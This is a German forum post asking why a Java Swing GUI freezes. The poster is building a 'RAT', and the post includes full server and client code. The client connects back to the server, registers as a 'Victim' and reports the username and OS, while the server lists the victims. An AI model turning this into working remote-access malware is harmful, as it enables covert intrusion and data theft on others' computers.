Hi,
bin gerade dabei ein RAT zu programmieren, jedoch hägt sich jetzt jedesmal die GUI auf, und tut weder die TextArea mit den Infos aktualisieren, noch kann man scrollen oder am Spinner was tun. Kurz um, die GUI hängt komplett!
Meine Frage: Wie kann ich das ändern?
Ich hab da was von dem SwingWorker gehört, zwar verstanden, was er machen soll, aber nicht verstanden, wie er funktioniert.
Hier mal der Server-Code:
Ich poste hier auch mal noch den Client-Code, der benötigt wird, da die GUI erst hängt, wenn der Client connected hat.
Hoffe hier kann mir jemand helfen
Das Phantom
PS: Schon mal vielen Dank im Vorraus
bin gerade dabei ein RAT zu programmieren, jedoch hägt sich jetzt jedesmal die GUI auf, und tut weder die TextArea mit den Infos aktualisieren, noch kann man scrollen oder am Spinner was tun. Kurz um, die GUI hängt komplett!
Meine Frage: Wie kann ich das ändern?
Ich hab da was von dem SwingWorker gehört, zwar verstanden, was er machen soll, aber nicht verstanden, wie er funktioniert.
Hier mal der Server-Code:
Java:
package ratserverv2;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.lang.String;
import java.util.*;
import java.net.*;
import java.util.logging.*;
import javax.swing.*;
public class Main {
ArrayList victims;
JList victimview;
JTextArea victiminfo;
JSpinner portspinner;
JButton connectbutton;
PrintWriter printer;
public class ClientHandler implements Runnable{
BufferedReader reader;
Socket sock;
InputStreamReader strReader;
public ClientHandler(Socket clientSocket) {
try {
sock = clientSocket;
reader = new BufferedReader(strReader = new InputStreamReader(sock.getInputStream()));
} catch (IOException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
}
public void run() {
String message;
try {
while ((message = reader.readLine()) != null) {
System.out.println("New Message: "+ message);
if (message.equals("Victim")){
sendText("Registered");
}if (message.equals("Info")){
String User = reader.readLine();
String OS = reader.readLine();
System.out.println("Infos: "+User+" "+OS);
victiminfo.append("Info: \n" + User +"\n"+OS);
}
}
} catch (IOException ex) {
System.out.println("User Disconnected");
}
}
}
public static void main(String[] args) {
Main server=new Main();
server.start();
}
public void start(){
JFrame sframe=new JFrame("RAT-Server");
JPanel mainpanel=new JPanel();
mainpanel.setLayout(new BoxLayout(mainpanel, BoxLayout.Y_AXIS));
JPanel victimpanel=new JPanel();
victimpanel.setLayout(new BoxLayout(victimpanel, BoxLayout.X_AXIS));
JPanel controlpanel=new JPanel();
controlpanel.setLayout(new BoxLayout(controlpanel, FlowLayout.LEFT));
victimview=new JList();
JScrollPane scroll_list=new JScrollPane(victimview);
scroll_list.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
scroll_list.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
scroll_list.setPreferredSize(new Dimension(400,1000));
victiminfo=new JTextArea(10,20);
victiminfo.setSize(240, 300);
JLabel PortLabel=new JLabel("Port:");
portspinner=new JSpinner();
portspinner.setValue(4000);
portspinner.setSize(new Dimension(50,10));
connectbutton=new JButton("Connect");
connectbutton.addActionListener(new connectButtonListener());
//ButtonListener
System.out.println(Thread.currentThread().getName());
victimpanel.add(scroll_list);
victimpanel.add(victiminfo);
controlpanel.add(PortLabel);
controlpanel.add(portspinner);
controlpanel.add(connectbutton);
mainpanel.add(victimpanel);
mainpanel.add(controlpanel);
sframe.getContentPane().add(BorderLayout.CENTER, mainpanel);
sframe.setSize(500, 500);
sframe.setVisible(true);
sframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
victiminfo.setSize(240, 400);
}
public void sendText(String sText){
printer.println(sText);
printer.flush();
}
private class connectButtonListener implements ActionListener {
public void actionPerformed(ActionEvent e) {
try {
ServerSocket serverSock = new ServerSocket(4000);
while(true){
Socket clientSocket=serverSock.accept();
printer = new PrintWriter(clientSocket.getOutputStream());
Thread connect = new Thread(new ClientHandler(clientSocket));
connect.setName("connect");
connect.start();
}
} catch (IOException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
}
Ich poste hier auch mal noch den Client-Code, der benötigt wird, da die GUI erst hängt, wenn der Client connected hat.
Java:
package ratclientv2;
import java.io.*;
import java.net.*;
import java.util.logging.*;
public class Main {
Socket sock;
InputStreamReader strReader;
BufferedReader reader;
PrintWriter printer;
String IPAdress;
Integer Port;
Integer Timeout;
public static void main(String[] args) {
Main client = new Main();
client.start("127.0.0.1", 4000, 1000);
client.sendText("Victim");
}
void start(String IP, Integer port, Integer timeout){
IPAdress=IP;
Port=port;
Timeout=timeout;
connect();
Thread readerThread = new Thread(new receiveText());
readerThread.setName("readerThread");
readerThread.start();
}
void connect(){
try {
sock = new Socket(IPAdress, Port);
reader = new BufferedReader(strReader = new InputStreamReader(sock.getInputStream()));
printer = new PrintWriter(sock.getOutputStream());
System.out.println("Connected to " + IPAdress + " on Port: " + Port);
} catch (IOException ex) {
System.out.println("Connection failed! Trying again!");
reconnect(Timeout);
}
}
void reconnect(Integer timeout){
try {
Thread.sleep(timeout);
} catch (InterruptedException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
connect();
}
void sendText(String sText){
printer.println(sText);
printer.flush();
}
public class receiveText implements Runnable{
public void run(){
String message;
while(true){
try {
while ((message = reader.readLine()) != null) {
System.out.println("New Message: " + message);
if (message.equals("Registered")){
sendText("Info");
sendText("Username: "+System.getProperty( "user.name" ));
sendText("OS-Version: "+System.getProperty( "os.name" ));
}
}
} catch (IOException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}catch (NullPointerException nEx) {System.out.print("error");}
}
}
}
}
Hoffe hier kann mir jemand helfen
Das Phantom
PS: Schon mal vielen Dank im Vorraus